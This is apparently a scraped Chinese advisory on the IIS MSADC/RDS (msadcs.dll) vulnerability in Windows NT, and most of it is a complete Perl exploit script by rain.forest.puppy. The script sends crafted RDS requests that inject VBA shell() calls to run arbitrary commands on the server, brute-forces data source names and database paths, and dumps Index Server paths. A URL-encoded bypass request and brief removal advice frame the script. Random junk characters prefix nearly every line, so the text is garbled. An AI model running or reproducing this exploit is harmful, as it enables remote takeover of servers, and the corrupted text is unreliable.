IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
kX 1}/l !d* [QD8 涉及程序：
Y Y:Bw W: Microsoft NT server
Zo9<96I& JE?p '77C 描述：
V|7Y Ra@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
j]a$RC# vh9* >[i 详细：
= P- &dN 如果你没有时间读详细内容的话，就删除:
)*|/5wW1 c:\Program Files\Common Files\System\Msadc\msadcs.dll
P:q mg"i@3 有关的安全问题就没有了。
!*IMWm > ~}/Dl#9R! 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
G7-BeA8 I$Nh|eM 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
l.[pnL D 关于利用ODBC远程漏洞的描述，请参看:
CI|lJ +Q*`kg ' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !,WGd|oJ TBhM^\z 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
"q4tvcK. http://www.microsoft.com/security/bulletins/MS99-025faq.asp bdUPo+ "}]`64? 这里不再论述。
# k I> cH]tZ$E` 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
dn6B43w ntiS7g e1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
T X`X5j 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
xS18t=" 3:%k
pnO t<%0 eu| #将下面这段保存为txt文件，然后: "perl -x 文件名"
8OfQ : q^@* {H #!perl
yoi4w 7: #
>%JPgr/
8 # MSADC/RDS 'usage' (aka exploit) script
Otn,UoeeB #
?I.9?cQXZ # by rain.forest.puppy
)n/%P4l #
QaX.Av # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
w-jElV # beta test and find errors!
0MQ= Rt xVvUx,t use Socket; use Getopt::Std;
mp |pz%U getopts("e:vd:h:XR", \%args);
I Mgd2qIC `h}eP[jA print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+b jy#= XGlt^< ` if (!defined $args{h} && !defined $args{R}) {
F c[KIG3@ print qq~
$o"nTl Usage: msadc.pl -h <host> { -d <delay> -X -v }
x^eu[olN -h <host> = host you want to scan (ip or domain)
l }{{7~C` -d <seconds> = delay between calls, default 1 second
a(Y'C`x -X = dump Index Server path table, if available
*2X6;~ -v = verbose
~{c ?-qb -e = external dictionary file for step 5
]`o5eByo h#rP]o@ Or a -R will resume a command session
}ze+ tf I8*VM3 ~; exit;}
;'!x !Jg;%%E3:i $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(Guzj *1 2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4" @<bKx if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
aCQtE, . if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
N gNGq\! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_8K+iqMZG if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z,HhSW?&^ a|ft l&uk if (!defined $args{R}){ $ret = &has_msadc;
KaIKb=4L| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
e~h>b.~ owVvbC2<b( print "Please type the NT commandline you want to run (cmd /c assumed):\n"
H$6RDMU . "cmd /c ";
pMF
vL $in=<STDIN>; chomp $in;
S"Al [{ $command="cmd /c " . $in ;
vwR_2u 5Iu5N0cn if (defined $args{R}) {&load; exit;}
bT,:eA tMr7 d print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&|SWy
2 N &try_btcustmr;
xh6(~'$ =;Id["+ print "\nStep 2: Trying to make our own DSN...";
0SpB 2>_ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h!"2Ux3!x >T$0*7wF print "\nStep 3: Trying known DSNs...";
W? 7l-k=S &known_dsn;
LS@TTiN
s"(RdJ-, print "\nStep 4: Trying known .mdbs...";
6)HmE[[F &known_mdb;
D)* O5dS$[`j\p if (defined $args{e}){
~z[`G#dU print "\nStep 5: Trying dictionary of DSN names...";
/i+z#q5' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
o7y<Zd`Bj J?4{#p print "Sorry Charley...maybe next time?\n";
lR(9;3 exit;
MB}nn&u# l,ny=Q$[1' ##############################################################################
tzI|vVT, ,n|si# sub sendraw { # ripped and modded from whisker
<y 4(!z" sleep($delay); # it's a DoS on the server! At least on mine...
j*=!M# D my ($pstr)=@_;
@uSO~. 7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c
'|*{%<e2 die("Socket problems\n");
|jsI-?%8J if(connect(S,pack "SnA4x8",2,80,$target)){
verI~M$v{ select(S); $|=1;
kuY^o,u-1e print $pstr; my @in=<S>;
HC0juT OiO select(STDOUT); close(S);
0J R/V68$ return @in;
I2}W /} } else { die("Can't connect...\n"); }}
0AZ9I!&i J_s`G ##############################################################################
w,~*ead rcnH ^P sub make_header { # make the HTTP request
_K5<)( ) my $msadc=<<EOT
2w>%-_]u+ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W 4 { T< User-Agent: ACTIVEDATA
ET*A0rt Host: $ip
.[= {Yx0!I Content-Length: $clen
FT).$h~+4 Connection: Keep-Alive
iIfiv<(ChM ?pL|eS7 ADCClientVersion:01.06
tX*@r Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
O7.V>7Y9H UlXm4\@ --!ADM!ROX!YOUR!WORLD!
9~ p;iiKGG Content-Type: application/x-varg
Zy0M\-Mn Content-Length: $reqlen
VPN
9 Ql= 7o4E_ .* EOT
O{ :{P5 ; $msadc=~s/\n/\r\n/g;
Y A .&ap return $msadc;}
I=`? 4% &9jJ\+:7 ##############################################################################
(}#&HE< #1 YMpL sub make_req { # make the RDS request
2"0VXtv6 my ($switch, $p1, $p2)=@_;
*oO%+6nL my $req=""; my $t1, $t2, $query, $dsn;
8 Ku9;VEk N'1I6e " if ($switch==1){ # this is the btcustmr.mdb query
*0 U#Z]t $query="Select * from Customers where City=" . make_shell();
\Y# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_KRnx- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
* :"*' YznL+TD elsif ($switch==2){ # this is general make table query
@Z]0c=-+ $query="create table AZZ (B int, C varchar(10))";
bR`5g $dsn="$p1";}
&BVUK"}P e\)%<G5 elsif ($switch==3){ # this is general exploit table query
)L<.;`g4x $query="select * from AZZ where C=" . make_shell();
@6UY4vq9 $dsn="$p1";}
I0-1Hr Kq 7r+ A elsif ($switch==4){ # attempt to hork file info from index server
lp*5;Ls'q $query="select path from scope()";
NF$6yv9C $dsn="Provider=MSIDXS;";}
%Tp9G Gt nC:T 0OJv elsif ($switch==5){ # bad query
^Ks1[xc* ` $query="select";
W3i<Unq
$dsn="$p1";}
Rsx6vF8]5 eI-fH $t1= make_unicode($query);
;Q ZG< $t2= make_unicode($dsn);
CKw-HgXG $req = "\x02\x00\x03\x00";
)\U:e:Z ae $req.= "\x08\x00" . pack ("S1", length($t1));
}0 ~$^ J $req.= "\x00\x00" . $t1 ;
g}9 ,U&$]y $req.= "\x08\x00" . pack ("S1", length($t2));
lyL6w1 $req.= "\x00\x00" . $t2 ;
6O4 *OR<& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
V .K jcy return $req;}
a$W
O} g? &0 QUObK ##############################################################################
gD$&OkH F"Dr(V sub make_shell { # this makes the shell() statement
8%4;'[UV return "'|shell(\"$command\")|'";}
9FEhl~& Zf M ]A) ##############################################################################
COi15( G2 m?-)SA sub make_unicode { # quick little function to convert to unicode
'{`KYKLP+ my ($in)=@_; my $out;
j)i c 7 b for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
besc7!S return $out;}
d /jx8( 0 dcKpsX ##############################################################################
P IG,a~ U=v>gNba sub rdo_success { # checks for RDO return success (this is kludge)
>A )Sl' my (@in) = @_; my $base=content_start(@in);
1^IMoC7$# if($in[$base]=~/multipart\/mixed/){
AyJl:aN^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5a |[cR return 0;}
4lo7yx MpKXC ##############################################################################
cg ) (L; CI+)0=`<1B sub make_dsn { # this makes a DSN for us
x. t< @y~ my @drives=("c","d","e","f");
8] LF{Obz[ print "\nMaking DSN: ";
~'*23]j foreach $drive (@drives) {
5?3 v;B6 print "$drive: ";
E2Sj IR} my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[w](x "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
CfOyHhhKX . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X8}r= K~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
<v ub
Q4 return 0 if $2 eq "404"; # not found/doesn't exist
c | %5SA if($2 eq "200") {
2tU3p<[ foreach $line (@results) {
:M6|V_Yp return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/@"mQx~[q } return 0;}
k r$)nf =u0=)\0@r ##############################################################################
"'B DVxp'w r6j[C"@ sub verify_exists {
!19T=p/:$ my ($page)=@_;
-cUW,>E my @results=sendraw("GET $page HTTP/1.0\n\n");
3 EAr=E] return $results[0];}
JP!e'oWxi 9#H0|zL ##############################################################################
CCpRQKb= 7]@M sub try_btcustmr {
czw:xG!& my @drives=("c","d","e","f");
(,"%fc7<i my @dirs=("winnt","winnt35","winnt351","win","windows");
Q3=X#FQ ]:ca=&> foreach $dir (@dirs) {
Fpo}UQQbc print "$dir -> "; # fun status so you can see progress
9u ~C?w foreach $drive (@drives) {
L^u|= 9 print "$drive: "; # ditto
zt2# K $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)^UqB0C6^ $reqlenlen=length( "$reqlen" );
dLQp"vs $ $clen= 206 + $reqlenlen + $reqlen;
A?tCa*b^ VI3fvGHat{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
yI =nu53BV if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
s"7FmJ\7rw else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
tL&_@PD)3 |
{zka.sJ
##############################################################################
E; yr 46 ; 8VZsh sub odbc_error {
)1 @v<I my (@in)=@_; my $base;
va~:Ivl-) my $base = content_start(@in);
gy1kb,M O if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
)YCH>Za $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3 {H!B&sb $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jHMP"(] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y;0Zk~R$ return $in[$base+4].$in[$base+5].$in[$base+6];}
JA W7Y:XB print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Z$0mK w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0$XrtnM $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
'Q'-7z-6 d*!H&1L ##############################################################################
I9T NUZq(' =PU@'O G sub verbose {
0o 6r3xc; my ($in)=@_;
5 Bcmz'?! return if !$verbose;
X: FyNUa print STDOUT "\n$in\n";}
`U?S 9m m Gz'%?zj ##############################################################################
4YOLy\"S X"8$,\wX , sub save {
kPEU }Kv my ($p1, $p2, $p3, $p4)=@_;
NVVAh5R open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3F6'3NvVc2 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
YC{7;=P f close OUT;}
Vg (p_k45` @8YuMD; ##############################################################################
9( &$Gwi 48gpXcc@| sub load {
z:n
JN%Qb my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
R]kH$0` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Q1h v2*/U @p=<IN>; close(IN);
N9c#N%cu $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J_
h\tM $target= inet_aton($ip) || die("inet_aton problems");
8=\k<X{` print "Resuming to $ip ...";
{YzpYc1
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
<!u(_Bxw/ if($p[1]==1) {
cP21x<n $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
TDtH R hq7 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
EY1L5 Ba. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Rlr[uU_ if (rdo_success(@results)){print "Success!\n";}
Yk4ah$}%-^ else { print "failed\n"; verbose(odbc_error(@results));}}
xoSBMf elsif ($p[1]==3){
,! ~U5~ if(run_query("$p[3]")){
4 [0.M print "Success!\n";} else { print "failed\n"; }}
' ]Km%uwL elsif ($p[1]==4){
8W.-Y|[5? if(run_query($drvst . "$p[3]")){
KbRKPA` print "Success!\n"; } else { print "failed\n"; }}
_*(:6,8 exit;}
. Vq_O
u $L"-JNS ##############################################################################
piUfvw x(zW<J 5X" sub create_table {
3'Z+PPd!
my ($in)=@_;
(i'wa6[E8 $reqlen=length( make_req(2,$in,"") ) - 28;
J0Y-e39 ` $reqlenlen=length( "$reqlen" );
d #- <=6 $clen= 206 + $reqlenlen + $reqlen;
?y{"OuRf. my @results=sendraw(make_header() . make_req(2,$in,""));
H ~qY7t return 1 if rdo_success(@results);
:n?} G0y my $temp= odbc_error(@results); verbose($temp);
\?\q0o<V$ return 1 if $temp=~/Table 'AZZ' already exists/;
ffQ&1T< return 0;}
H Lt;1:b )ULxB'Dm ##############################################################################
%hzNkyD)Y *!(? =9[ sub known_dsn {
s&O wVQ<M # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
rNHV my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
|z%*}DPrpa "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
CV,[x[L# { "banner", "banners", "ads", "ADCDemo", "ADCTest");
]| =#FFz Xp3cYS* u foreach $dSn (@dsns) {
dv \ oVD print ".";
d7QQ5FiB next if (!is_access("DSN=$dSn"));
4VL]v9 if(create_table("DSN=$dSn")){
xZ"kJ'C4} print "$dSn successful\n";
t #g6rh& if(run_query("DSN=$dSn")){
4fzM%ku print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ib4 8` print "Something's borked. Use verbose next time\n";}}} print "\n";}
$VJ=A< >^Z ! ##############################################################################
8> jd 2'v{ Y-,1& $& sub is_access {
0r\hX6 k my ($in)=@_;
)%OV|\5# $reqlen=length( make_req(5,$in,"") ) - 28;
whg?X&j\V $reqlenlen=length( "$reqlen" );
ZGOI8M]@ $clen= 206 + $reqlenlen + $reqlen;
tU7eW#"w my @results=sendraw(make_header() . make_req(5,$in,""));
RT2a:3 f my $temp= odbc_error(@results);
dQFx] p3L verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@{n2R3)k
B return 0;}
mE]W#?
<BN)>NqM ##############################################################################
dTP$7nfe : XZ sub run_query {
.~
W^P >t my ($in)=@_;
5G =CvGu $reqlen=length( make_req(3,$in,"") ) - 28;
QSy #k~ $reqlenlen=length( "$reqlen" );
BO ^T
: $clen= 206 + $reqlenlen + $reqlen;
=l3* { ?G my @results=sendraw(make_header() . make_req(3,$in,""));
UIv
2wA2 return 1 if rdo_success(@results);
Z-j%``I?h my $temp= odbc_error(@results); verbose($temp);
\h"Q gHzp return 0;}
Z5{M_^ \*w*Q(&3 ##############################################################################
qx/GioPU
/m*vY` sub known_mdb {
*K\/5Fzl my @drives=("c","d","e","f","g");
UkL'h&J~ my @dirs=("winnt","winnt35","winnt351","win","windows");
3C 8'@-U my $dir, $drive, $mdb;
Z,,Wo
%)o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x2TCw
FyQ^@@ # this is sparse, because I don't know of many
)P.|Xk:r my @sysmdbs=( "\\catroot\\icatalog.mdb",
vexQP}N0 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'u.`!w '|L "\\system32\\certmdb.mdb",
b_=k"d "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ZA ii"F o*QhoDjc my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
zi y~~J "\\cfusion\\cfapps\\forums\\forums_.mdb",
HW GlC < "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
n/UyMO3= "\\cfusion\\cfapps\\security\\realm_.mdb",
.|{*.YE "\\cfusion\\cfapps\\security\\data\\realm.mdb",
sM~|}|p "\\cfusion\\database\\cfexamples.mdb",
FUm- Fp "\\cfusion\\database\\cfsnippets.mdb",
y#Ch /Jg?| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
t9x.O "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*Qg/W? "m "\\cfusion\\brighttiger\\database\\cleam.mdb",
Ph.$]yQCc] "\\cfusion\\database\\smpolicy.mdb",
/^0Hi4+\ "\\cfusion\\database\cypress.mdb",
Md [ nlz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?(U>
)SvF "\\website\\cgi-win\\dbsample.mdb",
+Mv0X% (N "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
`^afbW "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
J2H8r 'T ); #these are just
J(-#(kMyf foreach $drive (@drives) {
2Sb~tTGz79 foreach $dir (@dirs){
f5/ ba9n I foreach $mdb (@sysmdbs) {
A HKS
[ N print ".";
B69 NL if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
t/S~CIA print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
m nXaf)" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
$-
#M~eZv print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
"$:nz} } else { print "Something's borked. Use verbose next time\n"; }}}}}
W?R$+~G F 1|4([-<] foreach $drive (@drives) {
Ef$x um{ foreach $mdb (@mdbs) {
-acW[$t print ".";
)WEyB~'o if(create_table($drv . $drive . $dir . $mdb)){
<<&:BK print "\n" . $drive . $dir . $mdb . " successful\n";
Cl>'K*$F if(run_query($drv . $drive . $dir . $mdb)){
Z) 7
{e"5d print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
XUUS N } else { print "Something's borked. Use verbose next time\n"; }}}}
Kh w!+!(H }
k2*^W&Z 6 576RT ##############################################################################
g >- iBxml |vWx[ =`o sub hork_idx {
35jP</ print "\nAttempting to dump Index Server tables...\n";
WFN5&7$ W print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
FQ(=Fnqn $reqlen=length( make_req(4,"","") ) - 28;
Cg21-G . $reqlenlen=length( "$reqlen" );
qdj,Qz9ly $clen= 206 + $reqlenlen + $reqlen;
9[6*FAFJPP my @results=sendraw2(make_header() . make_req(4,"",""));
rxCu V if (rdo_success(@results)){
^X0<ZI my $max=@results; my $c; my %d;
lcIX
l& for($c=19; $c<$max; $c++){
0R* $results[$c]=~s/\x00//g;
jB?Tua$,s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
2J|Yc^b6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
uu =e~K $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ycCEXu2F $d{"$1$2"}="";}
Te!q(;L`4 foreach $c (keys %d){ print "$c\n"; }
Z^`>;n2 } else {print "Index server doesn't seem to be installed.\n"; }}
G*Z4~-E4* }[l`R{d5q> ##############################################################################
xp>r a2A tM ]qR+ sub dsn_dict {
jr@<-. open(IN, "<$args{e}") || die("Can't open external dictionary\n");
6]Ppa ~Xwq while(<IN>){
tq>QZEg $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
eyl+D sK next if (!is_access("DSN=$dSn"));
ga~rllm;i if(create_table("DSN=$dSn")){
Sjj &n S print "$dSn successful\n";
qz(0iZ] Y if(run_query("DSN=$dSn")){
Ge[N5N> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S4`u NB#Ht print "Something's borked. Use verbose next time\n";}}}
q^goi 1 print "\n"; close(IN);}
; >.>vLF P ",~8Aci( ##############################################################################
pt|u?T_+ ,uE WnZ"4 sub sendraw2 { # ripped and modded from whisker
kV6T#RVob sleep($delay); # it's a DoS on the server! At least on mine...
*]O[ZjyOY my ($pstr)=@_;
t~ Q {\! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,p>= WX die("Socket problems\n");
0rA&_K[#-< if(connect(S,pack "SnA4x8",2,80,$target)){
s'fHh G6 print "Connected. Getting data";
}r*t
V) open(OUT,">raw.out"); my @in;
R^fVw Dl\ select(S); $|=1; print $pstr;
)UZ
's>O while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
NBE)DL close(OUT); select(STDOUT); close(S); return @in;
V w HTtZ } else { die("Can't connect...\n"); }}
hq$:62NYg 2Wq)y1R<T ##############################################################################
^B>
4:+^ fkyj&M/ sub content_start { # this will take in the server headers
JyY g)f my (@in)=@_; my $c;
i4v7 x;m_p for ($c=1;$c<500;$c++) {
[D?RL `ZF if($in[$c] =~/^\x0d\x0a/){
)iluu1,o if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
*)U=ZO6S else { return $c+1; }}}
SG ;]Vr return -1;} # it should never get here actually
<+" Jh_N# US0)^TKrj ##############################################################################
S#_i<u$$ }O5c.3 sub funky {
z9YC9m)jK my (@in)=@_; my $error=odbc_error(@in);
Y*B}^!k6 if($error=~/ADO could not find the specified provider/){
L&Bc-kMH print "\nServer returned an ADO miscofiguration message\nAborting.\n";
TpuN[Y exit;}
@B*?owba> if($error=~/A Handler is required/){
\BbemCPAm print "\nServer has custom handler filters (they most likely are patched)\n";
"f(iQI exit;}
z';p27 5 if($error=~/specified Handler has denied Access/){
D*DCMMp=0 print "\nServer has custom handler filters (they most likely are patched)\n";
!ZD[ $lt+ exit;}}
n4qj"x Q .& B_\* ##############################################################################
J/M 1#sE FSIV\ u sub has_msadc {
d1 D{wZ3g my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
RAR"9 N
. my $base=content_start(@results);
$2
~RZpS return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
`8KWZi4
] return 0;}
2 zh? ]if b,$H!V * ########################
#ZRQVC; b; QOcB ]G G?8LYg!- 解决方案：
eP a1 @dI 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\ :1MM 2、移除web 目录: /msadc
